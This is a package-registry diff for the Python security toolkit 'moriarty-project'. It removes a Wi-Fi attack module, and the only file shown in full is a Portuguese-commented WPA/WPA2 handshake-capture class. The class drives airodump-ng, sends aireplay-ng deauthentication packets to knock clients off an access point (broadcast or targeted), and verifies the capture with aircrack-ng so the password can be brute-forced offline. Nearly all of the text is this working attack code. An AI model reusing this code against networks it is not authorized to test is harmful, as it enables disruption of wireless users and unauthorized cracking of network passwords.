moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -22
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -65
- moriarty/modules/wifippler/core/__init__.py +0 -80
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -19
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -340
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -622
- moriarty/modules/wifippler/core/utils.py +0 -851
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,402 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de captura de handshake WPA/WPA2.
|
3
|
-
|
4
|
-
Este módulo implementa a captura de handshakes WPA/WPA2, que são necessários
|
5
|
-
para realizar ataques de força bruta offline.
|
6
|
-
"""
|
7
|
-
import os
|
8
|
-
import re
|
9
|
-
import time
|
10
|
-
import logging
|
11
|
-
import subprocess
|
12
|
-
import tempfile
|
13
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable
|
14
|
-
from dataclasses import dataclass, field
|
15
|
-
from enum import Enum, auto
|
16
|
-
|
17
|
-
from rich.console import Console
|
18
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
|
19
|
-
|
20
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
21
|
-
from ...core.utils import (
|
22
|
-
is_root, check_dependencies, get_network_interfaces,
|
23
|
-
set_monitor_mode, restore_network_interface, command_exists,
|
24
|
-
get_interface_mac
|
25
|
-
)
|
26
|
-
|
27
|
-
# Configuração de logging
|
28
|
-
logging.basicConfig(level=logging.INFO)
|
29
|
-
logger = logging.getLogger(__name__)
|
30
|
-
console = Console()
|
31
|
-
|
32
|
-
class HandshakeEventType(Enum):
|
33
|
-
"""Tipos de eventos da captura de handshake."""
|
34
|
-
START = auto()
|
35
|
-
HANDSHAKE_CAPTURED = auto()
|
36
|
-
DEAUTH_SENT = auto()
|
37
|
-
ERROR = auto()
|
38
|
-
PROGRESS = auto()
|
39
|
-
COMPLETE = auto()
|
40
|
-
CLIENT_FOUND = auto()
|
41
|
-
WAITING_FOR_HANDSHAKE = auto()
|
42
|
-
|
43
|
-
@dataclass
|
44
|
-
class HandshakeEvent:
|
45
|
-
"""Evento de progresso da captura de handshake."""
|
46
|
-
type: HandshakeEventType
|
47
|
-
message: str = ""
|
48
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
49
|
-
|
50
|
-
class HandshakeCapture:
|
51
|
-
"""Classe para capturar handshakes WPA/WPA2."""
|
52
|
-
|
53
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
54
|
-
"""
|
55
|
-
Inicializa a captura de handshake.
|
56
|
-
|
57
|
-
Args:
|
58
|
-
interface: Interface de rede para usar
|
59
|
-
timeout: Tempo máximo de captura em segundos
|
60
|
-
"""
|
61
|
-
self.interface = interface
|
62
|
-
self.timeout = timeout
|
63
|
-
self.is_running = False
|
64
|
-
self.stop_requested = False
|
65
|
-
self.handshake_captured = False
|
66
|
-
self.handshake_file = ""
|
67
|
-
self.clients = []
|
68
|
-
|
69
|
-
# Verifica dependências
|
70
|
-
self._check_dependencies()
|
71
|
-
|
72
|
-
# Verifica privilégios
|
73
|
-
if not is_root():
|
74
|
-
raise PermissionError("Este módulo requer privilégios de root")
|
75
|
-
|
76
|
-
def _check_dependencies(self) -> None:
|
77
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
78
|
-
required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng']
|
79
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
80
|
-
|
81
|
-
if missing:
|
82
|
-
raise RuntimeError(
|
83
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
84
|
-
"Instale-as com: sudo apt install aircrack-ng"
|
85
|
-
)
|
86
|
-
|
87
|
-
def capture(self, bssid: str, channel: int, essid: str = None,
|
88
|
-
output_prefix: str = "handshake",
|
89
|
-
deauth: bool = True, deauth_count: int = 5,
|
90
|
-
client_mac: str = None,
|
91
|
-
callback: Callable[[HandshakeEvent], None] = None) -> Tuple[bool, str]:
|
92
|
-
"""
|
93
|
-
Captura um handshake WPA/WPA2.
|
94
|
-
|
95
|
-
Args:
|
96
|
-
bssid: Endereço MAC do ponto de acesso
|
97
|
-
channel: Canal da rede
|
98
|
-
essid: Nome da rede (opcional)
|
99
|
-
output_prefix: Prefixo para os arquivos de saída
|
100
|
-
deauth: Se deve enviar pacotes de desautenticação
|
101
|
-
deauth_count: Número de pacotes de desautenticação a enviar
|
102
|
-
client_mac: Endereço MAC do cliente alvo (opcional)
|
103
|
-
callback: Função de callback para eventos
|
104
|
-
|
105
|
-
Returns:
|
106
|
-
Tupla (sucesso, caminho_do_arquivo_capturado)
|
107
|
-
"""
|
108
|
-
self.is_running = True
|
109
|
-
self.stop_requested = False
|
110
|
-
self.handshake_captured = False
|
111
|
-
self.handshake_file = ""
|
112
|
-
self.clients = []
|
113
|
-
|
114
|
-
# Configura o monitoramento de eventos
|
115
|
-
def event_handler(event_type: HandshakeEventType, message: str = "", **kwargs):
|
116
|
-
if callback:
|
117
|
-
event = HandshakeEvent(type=event_type, message=message, data=kwargs)
|
118
|
-
callback(event)
|
119
|
-
|
120
|
-
# Cria um diretório temporário para os arquivos
|
121
|
-
with tempfile.TemporaryDirectory() as temp_dir:
|
122
|
-
try:
|
123
|
-
output_file = os.path.join(temp_dir, output_prefix)
|
124
|
-
cap_file = f"{output_file}-01.cap"
|
125
|
-
|
126
|
-
# Comando para o airodump-ng
|
127
|
-
cmd_airodump = [
|
128
|
-
'airodump-ng',
|
129
|
-
'--bssid', bssid,
|
130
|
-
'-c', str(channel),
|
131
|
-
'-w', output_file,
|
132
|
-
'--output-format', 'cap,pcap',
|
133
|
-
'--write-interval', '1',
|
134
|
-
self.interface
|
135
|
-
]
|
136
|
-
|
137
|
-
if essid:
|
138
|
-
cmd_airodump.extend(['--essid', essid])
|
139
|
-
|
140
|
-
event_handler(HandshakeEventType.START, "Iniciando captura do handshake...")
|
141
|
-
|
142
|
-
# Executa o airodump-ng em segundo plano
|
143
|
-
airodump_proc = subprocess.Popen(
|
144
|
-
cmd_airodump,
|
145
|
-
stdout=subprocess.PIPE,
|
146
|
-
stderr=subprocess.PIPE,
|
147
|
-
universal_newlines=True
|
148
|
-
)
|
149
|
-
|
150
|
-
# Aguarda o airodump-ng iniciar
|
151
|
-
time.sleep(5)
|
152
|
-
|
153
|
-
# Se solicitado, envia pacotes de desautenticação
|
154
|
-
if deauth:
|
155
|
-
self._send_deauth(
|
156
|
-
bssid,
|
157
|
-
count=deauth_count,
|
158
|
-
client=client_mac,
|
159
|
-
callback=lambda e: event_handler(
|
160
|
-
HandshakeEventType.DEAUTH_SENT,
|
161
|
-
e.message,
|
162
|
-
**e.data
|
163
|
-
)
|
164
|
-
)
|
165
|
-
|
166
|
-
# Monitora a captura
|
167
|
-
start_time = time.time()
|
168
|
-
last_client_count = 0
|
169
|
-
|
170
|
-
with Progress(
|
171
|
-
SpinnerColumn(),
|
172
|
-
TextColumn("[progress.description]{task.description}"),
|
173
|
-
BarColumn(bar_width=40),
|
174
|
-
"[progress.percentage]{task.percentage:>3.0f}%",
|
175
|
-
TimeElapsedColumn(),
|
176
|
-
console=console,
|
177
|
-
transient=True,
|
178
|
-
) as progress:
|
179
|
-
task = progress.add_task("Aguardando handshake WPA...", total=100)
|
180
|
-
|
181
|
-
while True:
|
182
|
-
# Verifica timeout
|
183
|
-
elapsed = time.time() - start_time
|
184
|
-
if elapsed > self.timeout:
|
185
|
-
event_handler(
|
186
|
-
HandshakeEventType.ERROR,
|
187
|
-
"Tempo limite excedido na captura do handshake"
|
188
|
-
)
|
189
|
-
airodump_proc.terminate()
|
190
|
-
return False, ""
|
191
|
-
|
192
|
-
# Verifica se foi solicitado para parar
|
193
|
-
if self.stop_requested:
|
194
|
-
event_handler(
|
195
|
-
HandshakeEventType.ERROR,
|
196
|
-
"Captura interrompida pelo usuário"
|
197
|
-
)
|
198
|
-
airodump_proc.terminate()
|
199
|
-
return False, ""
|
200
|
-
|
201
|
-
# Atualiza a barra de progresso
|
202
|
-
progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
|
203
|
-
|
204
|
-
# Verifica se o arquivo de captura existe
|
205
|
-
if os.path.exists(cap_file):
|
206
|
-
# Verifica se o handshake foi capturado
|
207
|
-
if self._check_handshake(cap_file, bssid):
|
208
|
-
self.handshake_captured = True
|
209
|
-
self.handshake_file = cap_file
|
210
|
-
|
211
|
-
# Copia o arquivo para o diretório atual
|
212
|
-
import shutil
|
213
|
-
final_file = os.path.join(os.getcwd(), f"{output_prefix}.cap")
|
214
|
-
shutil.copy2(cap_file, final_file)
|
215
|
-
|
216
|
-
event_handler(
|
217
|
-
HandshakeEventType.HANDSHAKE_CAPTURED,
|
218
|
-
"Handshake capturado com sucesso!",
|
219
|
-
handshake_file=final_file
|
220
|
-
)
|
221
|
-
|
222
|
-
airodump_proc.terminate()
|
223
|
-
return True, final_file
|
224
|
-
|
225
|
-
# Verifica por novos clientes
|
226
|
-
clients = self._get_clients(cap_file, bssid)
|
227
|
-
if len(clients) > last_client_count:
|
228
|
-
last_client_count = len(clients)
|
229
|
-
self.clients = clients
|
230
|
-
|
231
|
-
event_handler(
|
232
|
-
HandshakeEventType.CLIENT_FOUND,
|
233
|
-
f"{len(clients)} cliente(s) encontrado(s)",
|
234
|
-
clients=clients
|
235
|
-
)
|
236
|
-
|
237
|
-
# Se não havia cliente alvo e encontrou um, envia desautenticação
|
238
|
-
if deauth and not client_mac and clients:
|
239
|
-
client_mac = clients[0].mac
|
240
|
-
self._send_deauth(
|
241
|
-
bssid,
|
242
|
-
client=client_mac,
|
243
|
-
count=deauth_count,
|
244
|
-
callback=lambda e: event_handler(
|
245
|
-
HandshakeEventType.DEAUTH_SENT,
|
246
|
-
e.message,
|
247
|
-
**e.data
|
248
|
-
)
|
249
|
-
)
|
250
|
-
|
251
|
-
# Aguarda um pouco antes da próxima verificação
|
252
|
-
time.sleep(1)
|
253
|
-
|
254
|
-
return False, ""
|
255
|
-
|
256
|
-
except Exception as e:
|
257
|
-
event_handler(
|
258
|
-
HandshakeEventType.ERROR,
|
259
|
-
f"Erro durante a captura do handshake: {str(e)}"
|
260
|
-
)
|
261
|
-
return False, ""
|
262
|
-
|
263
|
-
finally:
|
264
|
-
self.is_running = False
|
265
|
-
# Encerra processos em execução
|
266
|
-
try:
|
267
|
-
airodump_proc.terminate()
|
268
|
-
except:
|
269
|
-
pass
|
270
|
-
|
271
|
-
def _send_deauth(self, bssid: str, client: str = None,
|
272
|
-
count: int = 5, reason: int = 7,
|
273
|
-
callback: Callable[[HandshakeEvent], None] = None) -> bool:
|
274
|
-
"""
|
275
|
-
Envia pacotes de desautenticação para forçar um handshake.
|
276
|
-
|
277
|
-
Args:
|
278
|
-
bssid: Endereço MAC do ponto de acesso
|
279
|
-
client: Endereço MAC do cliente (None para broadcast)
|
280
|
-
count: Número de pacotes a enviar
|
281
|
-
reason: Código de motivo da desautenticação
|
282
|
-
callback: Função de callback para eventos
|
283
|
-
|
284
|
-
Returns:
|
285
|
-
True se os pacotes foram enviados com sucesso, False caso contrário
|
286
|
-
"""
|
287
|
-
try:
|
288
|
-
cmd = [
|
289
|
-
'aireplay-ng',
|
290
|
-
'--deauth', str(count),
|
291
|
-
'-a', bssid,
|
292
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
293
|
-
'--ignore-negative-one',
|
294
|
-
]
|
295
|
-
|
296
|
-
if client and client.lower() != 'ff:ff:ff:ff:ff:ff':
|
297
|
-
cmd.extend(['-c', client])
|
298
|
-
|
299
|
-
cmd.append(self.interface)
|
300
|
-
|
301
|
-
if callback:
|
302
|
-
event = HandshakeEvent(
|
303
|
-
type=HandshakeEventType.DEAUTH_SENT,
|
304
|
-
message=f"Enviando {count} pacotes de desautenticação para {client or 'broadcast'}",
|
305
|
-
data={
|
306
|
-
'bssid': bssid,
|
307
|
-
'client': client,
|
308
|
-
'count': count,
|
309
|
-
'reason': reason
|
310
|
-
}
|
311
|
-
)
|
312
|
-
callback(event)
|
313
|
-
|
314
|
-
subprocess.run(cmd, capture_output=True, check=True)
|
315
|
-
return True
|
316
|
-
|
317
|
-
except subprocess.CalledProcessError as e:
|
318
|
-
if callback:
|
319
|
-
event = HandshakeEvent(
|
320
|
-
type=HandshakeEventType.ERROR,
|
321
|
-
message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
|
322
|
-
data={'error': str(e)}
|
323
|
-
)
|
324
|
-
callback(event)
|
325
|
-
return False
|
326
|
-
|
327
|
-
def _check_handshake(self, cap_file: str, bssid: str) -> bool:
|
328
|
-
"""
|
329
|
-
Verifica se um arquivo de captura contém um handshake WPA/WPA2 válido.
|
330
|
-
|
331
|
-
Args:
|
332
|
-
cap_file: Caminho para o arquivo de captura
|
333
|
-
bssid: Endereço MAC do ponto de acesso
|
334
|
-
|
335
|
-
Returns:
|
336
|
-
True se o handshake for válido, False caso contrário
|
337
|
-
"""
|
338
|
-
try:
|
339
|
-
# Usa o aircrack-ng para verificar o handshake
|
340
|
-
cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
|
341
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
342
|
-
|
343
|
-
# Verifica a saída para determinar se há um handshake válido
|
344
|
-
return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
|
345
|
-
|
346
|
-
except Exception as e:
|
347
|
-
logger.error(f"Erro ao verificar handshake: {e}")
|
348
|
-
return False
|
349
|
-
|
350
|
-
def _get_clients(self, cap_file: str, bssid: str) -> List[WiFiClient]:
|
351
|
-
"""
|
352
|
-
Extrai a lista de clientes de um arquivo de captura.
|
353
|
-
|
354
|
-
Args:
|
355
|
-
cap_file: Caminho para o arquivo de captura
|
356
|
-
bssid: Endereço MAC do ponto de acesso
|
357
|
-
|
358
|
-
Returns:
|
359
|
-
Lista de clientes encontrados
|
360
|
-
"""
|
361
|
-
clients = []
|
362
|
-
|
363
|
-
try:
|
364
|
-
# Usa o tshark para extrair os endereços MAC dos clientes
|
365
|
-
cmd = [
|
366
|
-
'tshark',
|
367
|
-
'-r', cap_file,
|
368
|
-
'-Y', f'wlan.bssid == {bssid} && wlan.fc.type_subtype == 0x08', # Beacon frames
|
369
|
-
'-T', 'fields',
|
370
|
-
'-e', 'wlan.ta', # Transmitter address (client MAC)
|
371
|
-
'-e', 'wlan_radio.signal_dbm',
|
372
|
-
'-e', 'frame.time_relative'
|
373
|
-
]
|
374
|
-
|
375
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
376
|
-
|
377
|
-
# Processa a saída
|
378
|
-
for line in result.stdout.splitlines():
|
379
|
-
parts = line.strip().split('\t')
|
380
|
-
if len(parts) >= 2:
|
381
|
-
mac = parts[0].strip()
|
382
|
-
signal = int(float(parts[1])) if parts[1] else -100
|
383
|
-
|
384
|
-
# Verifica se o cliente já está na lista
|
385
|
-
if not any(c.mac == mac for c in clients):
|
386
|
-
client = WiFiClient(
|
387
|
-
mac=mac,
|
388
|
-
signal_dbm=signal,
|
389
|
-
signal_percent=max(0, min(100, 2 * (signal + 100))),
|
390
|
-
is_associated=True
|
391
|
-
)
|
392
|
-
clients.append(client)
|
393
|
-
|
394
|
-
return clients
|
395
|
-
|
396
|
-
except Exception as e:
|
397
|
-
logger.error(f"Erro ao extrair clientes: {e}")
|
398
|
-
return []
|
399
|
-
|
400
|
-
def stop(self):
|
401
|
-
"""Solicita a interrupção da captura."""
|
402
|
-
self.stop_requested = True
|